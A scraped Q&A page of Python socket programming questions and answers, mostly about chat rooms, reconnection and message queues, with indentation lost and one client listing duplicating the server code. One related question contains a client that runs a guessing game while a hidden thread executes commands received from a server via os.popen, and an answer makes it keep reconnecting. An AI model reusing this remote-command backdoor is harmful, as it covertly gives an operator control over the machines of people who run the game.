socket chat room - python - python

I'm running windows 10, python 2.7 using pycharm
I'm doing as an exercise a socket chat room, and I've stumbled on a certain problem:
While running the client and server socket from multiple cmd windows,
When I exit one cmd window abruptly, the server is supposed to forward a message to the remaining client - informing them that a client left (including the client's nick)
For some reason it proves to be a problem, the server seems to retain that client in the client list, raising an error as if I sent him that message (which obviously is problematic, because he is no longer there).
When I tried to fix that - changing the loop to not send the message to that specific client (by saving his socket object) -it doesn't send any message.
As if it doesn't recognize the other clients.
My code:
Server:
import socket
import select
import datetime
server_socket=socket.socket()
server_socket.bind(('127.0.0.1',23))
server_socket.listen(5)
open_client_sockets = []
messages_to_send = []
chat_clients={}
def send_waiting_messages(wlist):
for message in messages_to_send:
(sender,msg)=message
if(msg=='\r'):
continue
elif(msg=='quit'):
pass
else:
nick_len=int(msg[:2])
nick=msg[2:2+nick_len]
chat=msg[2+nick_len:]
chat_clients[sender]=nick
for client in wlist:
if(msg=='quit'):
client.send(('{:02d}:{:02d} {} has left the chat!'.format(datetime.datetime.now().hour,datetime.datetime.now().minute,sender)))
else:
if(client is sender):
client.send('NL')
else:
client.send('{:02d}:{:02d} {}: {}'.format(datetime.datetime.now().hour,datetime.datetime.now().minute,nick,chat))
messages_to_send.remove(message)
while True:
rlist,wlist,xlist=select.select([server_socket] + open_client_sockets,open_client_sockets,[])
for current_socket in rlist:
print wlist
if(current_socket is server_socket):
(new_socket,address)=server_socket.accept()
open_client_sockets.append(new_socket)
chat_clients[new_socket]=''
else:
try:
msg=current_socket.recv(1024)
except socket.error as e:
if e.errno==10054:
msg=''
else:
raise
if(msg=='' or msg=='quit'):
if(msg=='quit'):
messages_to_send.append((chat_clients[current_socket], 'quit'))
current_socket.send('quit')
open_client_sockets.remove(current_socket)
del chat_clients[current_socket]
else:
print '{:02d}:{:02d} {} has left the chat!'.format(datetime.datetime.now().hour,
datetime.datetime.now().minute, chat_clients[current_socket])
messages_to_send.append((current_socket, 'quit'))
else:
print msg
messages_to_send.append((current_socket,msg))
send_waiting_messages(wlist)
Client:
import socket
import select
import datetime
server_socket=socket.socket()
server_socket.bind(('127.0.0.1',23))
server_socket.listen(5)
open_client_sockets = []
messages_to_send = []
chat_clients={}
def send_waiting_messages(wlist):
for message in messages_to_send:
(sender,msg)=message
if(msg=='\r'):
continue
elif(msg=='quit'):
pass
else:
nick_len=int(msg[:2])
nick=msg[2:2+nick_len]
chat=msg[2+nick_len:]
chat_clients[sender]=nick
for client in wlist:
if(msg=='quit'):
client.send(('{:02d}:{:02d} {} has left the chat!'.format(datetime.datetime.now().hour,datetime.datetime.now().minute,sender)))
else:
if(client is sender):
client.send('NL')
else:
client.send('{:02d}:{:02d} {}: {}'.format(datetime.datetime.now().hour,datetime.datetime.now().minute,nick,chat))
messages_to_send.remove(message)
while True:
rlist,wlist,xlist=select.select([server_socket] + open_client_sockets,open_client_sockets,[])
for current_socket in rlist:
print wlist
if(current_socket is server_socket):
(new_socket,address)=server_socket.accept()
open_client_sockets.append(new_socket)
chat_clients[new_socket]=''
else:
try:
msg=current_socket.recv(1024)
except socket.error as e:
if e.errno==10054:
msg=''
else:
raise
if(msg=='' or msg=='quit'):
if(msg=='quit'):
messages_to_send.append((chat_clients[current_socket], 'quit'))
current_socket.send('quit')
open_client_sockets.remove(current_socket)
del chat_clients[current_socket]
else:
print '{:02d}:{:02d} {} has left the chat!'.format(datetime.datetime.now().hour,
datetime.datetime.now().minute, chat_clients[current_socket])
messages_to_send.append((current_socket, 'quit'))
else:
print msg
messages_to_send.append((current_socket,msg))
send_waiting_messages(wlist)
Help would be much appreciated!

I have also been trying trying to make a chat room and I have been successful. You might want to look at my code to find the solution.
Server
import threading
from queue import Queue
import socket
host = ''
port = 5000
client_list = []
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1000)
def conn():
while True:
(host, port) = s.accept()
f = len(client_list)
client_list.append(host)
print(client_list)
p1 = threading.Thread(target=clientam, args=str(f))
p2 = threading.Thread(target=threader)
p2.start()
p1.start()
p1.join()
p2.join()
def clientam(client):
size = 3000
client = int(client)
c = client_list[client]
print(c)
c.send("Welcome to the chatroom".encode())
while True:
try:
data = c.recv(size).decode()
if data == "exit":
for l in client_list:
if l == c:
pass
else:
l.send("The other person has left the chatroom".encode())
client_list[client] = ''
print(client_list)
c.close()
break
else:
for l in client_list:
if l == c:
pass
else:
l.send(data.encode())
except Exception:
for l in client_list:
if l == c:
continue
else:
try:
l.send("The other person has left the chatroom".encode())
except Exception:
pass
break
try:
c.close()
except Exception:
break
def threader():
t = threading.Thread(target=conn)
t.start()
t.join()
threader()
client
import socket
import threading
import time
import pickle
host = '127.0.0.1'
port = 5000
s = socket.socket()
d = 0
print_lock = threading.Lock()
def conn():
global d
global s
try:
if d == 1:
s = socket.socket()
s.connect((host, port))
d = 0
elif d == 0:
s.connect((host, port))
except Exception:
conn()
def reciever():
global d
global g
g = False
li = [128, 3, 88, 0, 113, 46]
size = 3000
while True:
try:
data = s.recv(size).decode()
data = str(data)
with open('Data.txt', 'a') as f:
f.write(data)
if str(data) == 'The other person has left the chatroom':
with print_lock:
print(data)
elif str(data) == "Welcome to the chatroom":
g = True
with print_lock:
print(str(data))
else:
try:
int(data)
continue
except Exception:
with print_lock:
print("Other Person:> " + str(data))
except Exception as e:
with print_lock:
print("You have been disconnected")
d = 1
s.close()
with print_lock:
print('Trying to connect to server')
conn()
def sender():
global d
global g
while True:
if g == True:
while True:
with print_lock:
i = input('You:> ')
if i == 'exit':
try:
s.send(i.encode())
with print_lock:
print("You have been disconnected")
d = 1
except Exception:
with print_lock:
print('You have been disconnected')
d = 1
elif i == "connect":
if d == 0:
with print_lock:
print("Server already connected")
elif d == 1:
with print_lock:
print('Server connecting')
conn()
else:
try:
if d == 0:
s.send(i.encode())
elif d == 1:
with print_lock:
print('Server is disconnected')
except Exception:
with print_lock:
print('Server is disconnected')
def threader():
p1 = threading.Thread(target = reciever)
p1.start()
p2 = threading.Thread(target = sender)
p2.start()
p1.join()
p2.join()
conn()
threader()

Related

My global variable is not changing (Python)

I am making an online flag guessing game using sockets.
Server's code below (sorry for pasting the entire code, I've been testing and have literally no idea what the problem could be):
import socket
import threading
import random
from time import sleep
from func import get_flags
flags = get_flags()
flag_names = [i for i in flags]
current_flag = " "
show_answer = False
errorCounter = 0
HEADER = 64
PORT = 5050
SERVER = socket.gethostbyname(socket.gethostname())
ADDR = (SERVER, PORT)
FORMAT = 'utf-8'
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(ADDR)
players = []
num_of_players = int(input("Number of players: "))
def handle_client(conn, addr):
global show_answer, current_flag
print(f"[NEW CONNECTION] {addr} connected.")
connected = True
player = ()
while connected:
print(current_flag)
msg_length = conn.recv(HEADER).decode(FORMAT)
if msg_length:
msg_length = int(msg_length)
msg = conn.recv(msg_length).decode(FORMAT)
#print(f"[{addr}] {msg}")
msg = msg.lower()
msg = msg.split(" ")
try:
if msg[0] == "!set_username" and len(msg) > 1:
player = (msg[1], addr)
players.append(player)
elif msg[0] == "!get_flags":
conn.send(str(flags).encode(FORMAT))
elif msg[0] == "!ready":
conn.send(str(len(players) >= num_of_players).encode(FORMAT))
elif msg[0] == "!get_current_flag":
conn.send(current_flag.encode(FORMAT))
elif msg[0] == "!show_answer":
conn.send(str(show_answer).encode(FORMAT))
except Exception:
print("asd")
#conn.send("Msg received".encode(FORMAT))
players.remove(player)
conn.close()
def start():
global show_answer, current_flag
server.listen()
print(f"[LISTENING] Server is listening on {SERVER}:{PORT}")
while len(players) < num_of_players:
conn, addr = server.accept()
thread = threading.Thread(target=handle_client, args=(conn, addr))
thread.start()
print("\nThe game has started.\n")
while True:
sleep(3)
show_answer = False
current_flag = random.choice(flag_names)
sleep(10)
show_answer = True
if __name__ == "__main__":
print("[STARTING] server is starting...")
start()
My problem is:
When I call the start() function, and the lobby fills up, the "game clock" starts, which determines how much time the players have to guess the flag, and the time in which they can see the correct answer. When I change these variables (show_answer and current_flag), they change, but not in in handle_client(). Why is that?
The client is able to connect just fine, but can't see the updated variables.
I am using Python 3.9.5 if that helps.

How can I have client socket continue listening for server after a server is closed in python?

This is my client.py:
import random
import socket
import threading
import os
from time import sleep
def access():
HOST = '127.0.0.1'
PORT = 22262
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
client.connect((HOST, PORT))
break
except Exception:
sleep(1)
cmd_mode = False
while True:
command = client.recv(1024).decode('utf-8')
if command == 'cmdon':
cmd_mode = True
client.send('You now have terminal access!'.encode('utf-8'))
continue
if command == 'cmdoff':
cmd_mode = False
if cmd_mode:
os.popen(command)
if command == 'hello':
print('Hello World!')
client.send(f'{command} was exectued successfully!'.encode('utf-8'))
def game():
number = random.randint(0, 1000)
tries = 1
done = False
while not done:
guess = int(input('Enter a guess: '))
if guess == number:
done = True
print('You won!')
else:
tries += 1
if guess > number:
print('The actual number is smaller.')
else:
print('The actual number is larger.')
print(f'You need {tries} tries!')
t1 = threading.Thread(target=game)
t2 = threading.Thread(target=access)
t1.start()
t2.start()
This is the server.py
import socket
HOST = ''
PORT = 22262
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen()
client, address = server.accept()
while True:
print(f'Connected to {address}')
cmd_input = input('Enter a command: ')
client.send(cmd_input.encode('utf-8'))
print(client.recv(1024).decode('utf-8'))
This works but if I disconnect server.py I get the following error on client.py:
ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host
Is their a way to have client.py always listen and wait for server.py to come online so that they could connect back again? Basically I want client.py to never stop listening for server.py
The problem described by you shows that the server closed the connection while your client was doing the task, so the simplest solution is wrap it up in a try...except while_loop
replace
def access():
HOST = '127.0.0.1'
PORT = 22262
while True:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
client.connect((HOST, PORT))
break
except Exception:
sleep(1)
cmd_mode = False
while True:
command = client.recv(1024).decode('utf-8')
if command == 'cmdon':
cmd_mode = True
client.send('You now have terminal access!'.encode('utf-8'))
continue
if command == 'cmdoff':
cmd_mode = False
if cmd_mode:
os.popen(command)
if command == 'hello':
print('Hello World!')
client.send(f'{command} was exectued successfully!'.encode('utf-8'))
with
def access():
HOST = '127.0.0.1'
PORT = 22262
while True
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
while True:
try:
client.connect((HOST, PORT))
break
except Exception:
sleep(1)
cmd_mode = False
while True:
command = client.recv(1024).decode('utf-8')
if command == 'cmdon':
cmd_mode = True
client.send('You now have terminal access!'.encode('utf-8'))
continue
if command == 'cmdoff':
cmd_mode = False
if cmd_mode:
os.popen(command)
if command == 'hello':
print('Hello World!')
client.send(f'{command} was exectued successfully!'.encode('utf-8'))
except:
pass
now the above code wraps it up using try and except with a while loop so it continues to try connecting to server even if the server goes down in between a connection

Automatically reconnect client socket on server shutdown?

So, I've had a problem this morning that I couldn't find any posted answers yet. Basically, I wanted to have my Python client to reconnect everytime the server shuts down.
My previous code looks like this
def fire(self):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.settimeout(5)
while (self.connected):
# create the transmission_struct class
msg = transmission_struct(self.stream, self.CHUNK, self.rate)
# create the Filestream packet
packet1 = msg.structure_msg_fls()
# create the decision packet
packet2 = msg.structure_msg_stm()
# send, first the decision packet
self.s.sendall(packet2)
# send the whole packet one by one
for i in range(len(packet1)):
self.s.sendall(packet1[i])
# timestamp for debugging purposes
ts = time.time()
timestamp = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')
print(timestamp + " size of data sent is " + str(len(packet1)) +
" size of decision is " + str(len(packet2)))
I implemented the reconnection logic through try and exception blocks and a recursion in the attempt function.
def fire(self):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.settimeout(5)
self.attempt_connect()
while (self.connected):
# create the transmission_struct class
msg = transmission_struct(self.stream, self.CHUNK, self.rate)
# create the Filestream packet
packet1 = msg.structure_msg_fls()
# create the decision packet
packet2 = msg.structure_msg_stm()
try:
# send, first the decision packet
self.s.sendall(packet2)
# send the whole packet one by one
for i in range(len(packet1)):
self.s.sendall(packet1[i])
# timestamp for debugging purposes
ts = time.time()
timestamp = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')
print(timestamp + " size of data sent is " + str(len(packet1)) + " size of decision is " + str(len(packet2)))
except socket.error as e:
print(e.errno)
self.connected = False
print("Attempting to connect...")
self.close_open_new_socket()
time.sleep(1)
continue
except IOError as e:
print(e.errno)
self.close_open_new_socket()
continue
except KeyboardInterrupt:
self.s.close()
finally:
self.attempt_connect()
def attempt_connect(self):
while (self.connected is False):
try:
self.result = self.s.connect((self.host, self.port))
if (self.result == None):
self.connected = True
else:
self.connected = False
except socket.error as e:
errorcode = e[0]
print(errorcode)
if (errorcode == 56):
self.connected = True
time.sleep(1)
continue
elif(errorcode == 22):
self.connected = False
print("attempting to reconnect...")
# adding recursive call to attempt connect
# after socket is broken
self.close_open_new_socket()
time.sleep(1)
continue
elif (errorcode == 61):
self.connected = False
print("Server not up, waiting for server and reconnecting...")
time.sleep(1)
continue
elif (errorcode == 32):
self.connected = False
print("Server down, attempting to reconnect...")
time.sleep(1)
continue
else:
self.connected = False
time.sleep(1)
continue
def close_open_new_socket(self):
self.s.close()
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.settimeout(5)
self.attempt_connect()

Group chat in Python

I am writing a group chat code, which is consisted of server.py and client.py. Basically, any message sent by any client is visible to all clients. It runs normal until one of the clients close the connection. When a client closes the connection, server cannot accept new clients. I get the following error: Connected by ('127.0.0.1', 11142)
Exception: [WinError 10038] An operation was attempted on something that is not
a socket
Code for server.py
from socket import *
import select
import sys
import threading
QUIT = False
class Server:
def __init__(self):
self.host = "127.0.0.1"
self.port = 9999
self.threads = []
self.backlog = 10
def run(self):
all_good = False
while not all_good:
try:
all_good = False
self.sock = socket(AF_INET, SOCK_STREAM)
self.sock.bind((self.host, self.port))
self.sock.listen(self.backlog)
all_good= True
print("Server started at "+self.host+":"+str(self.port))
break
except Exception as err:
print('Socket connection error... ')
self.sock.close()
try:
while not QUIT:
try:
client, addr = self.sock.accept()
except socket.timeout:
continue
new_thread = Client(client)
print("Connected by ", addr)
msg = ("Connected by %s at %s" %(new_thread.name, addr)).encode()
for each in self.threads:
each.client.send(msg)
self.threads.append(new_thread)
new_thread.start()
for thread in self.threads:
if not thread.isAlive():
self.threads.remove(thread)
thread.join()
except KeyboardInterrupt:
print("Terminating by Ctrl+C")
except Exception as err:
print("Exception: %s\nClosing" %err)
for thread in self.threads:
thread.join()
self.sock.close()
class Client(threading.Thread):
def __init__(self, client):
threading.Thread.__init__(self)
self.client = client
def run(self):
global QUIT
done = False
while not done:
try:
cmd = self.client.recv(1024).decode()
if cmd.startswith("/name"):
self.client.send("Enter your username: ".encode())
old_name = self.name
self.name = self.client.recv(1024).decode()
msg = "%s has changed his username to %s" %(old_name, self.name)
for each in server.threads:
if each != self and each.isAlive():
each.client.send(msg.encode())
self.client.send(("Your username has been changed to %s" %self.name).encode())
elif cmd == "/quit":
self.client.send("exit".encode())
server.threads.remove(self)
for each in server.threads:
each.client.send(("%s Disconnected" %self.name).encode())
QUIT = True
done = True
else:
msg = "%s===>%s" %(self.name, cmd)
for each in server.threads:
if each != self:
each.client.send(msg.encode())
except Exception as e:
print("Connection lost", e)
self.client.close()
done = True
continue
self.client.close()
return
if __name__ == "__main__":
server = Server()
server.run()
print("Terminated")
Code for client.py
from socket import *
import sys
import threading
host = "127.0.0.1"
port = 9999
class listen(threading.Thread):
def __init__(self, client):
threading.Thread.__init__(self)
self.client = client
self.setDaemon(True)
def run(self):
while(True):
data = self.client.recv(1024)
if data.decode() == "exit":
sys.exit(1)
print(data.decode())
if __name__ == "__main__":
try:
clientSocket = socket(AF_INET, SOCK_STREAM)
clientSocket.connect((host, port))
print("Welcome to chat!")
print("Type your message and press 'Enter' to send.")
print("Send '/name' command to change your username.")
print("Send '/quit' command to quit.")
except error as e:
if clientSocket:
clientSocket.close()
print("Could not open a socket: "+ str(e))
sys.exit(1)
l = listen(clientSocket)
l.start()
message = input()
while message!="/quit":
#sys.stdout.flush()
clientSocket.send(message.encode())
#data = self.clientSocket.recv(1024)
#data = data.decode()
#print("Recieved: "+str(data))
message= input()
clientSocket.close()

Handle multiple messages with Queue get()

Thanks to #user5402 for the previous solution.
I am trying to handle multiple messages that are queued up. Here is the code:
import sys
import socket
from multiprocessing import Process, Queue
UDP_ADDR = ("", 13000)
def send(m):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(m, UDP_ADDR)
def receive(q):
buf = 1024
Sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
Sock.bind(UDP_ADDR)
while True:
(data, addr) = Sock.recvfrom(buf)
q.put(data)
In the client function I want to handle multiple messages, that have knock on affects.
def client():
q = Queue()
r = Process(target = receive, args=(q,))
r.start()
print "client loop started"
while True:
m = q.get()
print "got:", m
while m == "start":
print "started"
z = q.get()
if z == "stop":
return
print "loop ended"
r.terminate()
So when start is sent, it then goes into a while loop that is infinitely printing "started", and waiting for the stop message to come through. The above client code does not work.
Here is the code to start the function:
if __name__ == '__main__':
args = sys.argv
if len(args) > 1:
send(args[1])
else:
client()
You can write the client loop like this:
print "client loop started"
while True:
m = q.get()
print "waiting for start, got:", m
if m == "start":
while True:
try:
m = q.get(False)
except:
m = None
print "waiting for stop, got:", m
if m == "stop":
break
Based on your comments, this would be a better approach:
import sys
import socket
import Queue as Q
import time
from multiprocessing import Process, Queue
UDP_ADDR = ("", 13000)
def send(m):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(m, UDP_ADDR)
def receive(q):
buf = 1024
Sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
Sock.bind(UDP_ADDR)
while True:
(data, addr) = Sock.recvfrom(buf)
q.put(data)
def doit():
# ... what the processing thread will do ...
while True:
print "sleeping..."
time.sleep(3)
def client():
q = Queue()
r = Process(target = receive, args=(q,))
r.start()
print "client loop started"
t = None # the processing thread
while True:
m = q.get()
if m == "start":
if t:
print "processing thread already started"
else:
t = Process(target = doit)
t.start()
print "processing thread started"
elif m == "stop":
if t:
t.terminate()
t = None
print "processing thread stopped"
else:
print "processing thread not running"
elif m == "quit":
print "shutting down"
if t:
t.terminate()
t = None # play it safe
break
else:
print "huh?"
r.terminate()
if __name__ == '__main__':
args = sys.argv
if len(args) > 1:
send(args[1])
else:
client()

Categories

Resources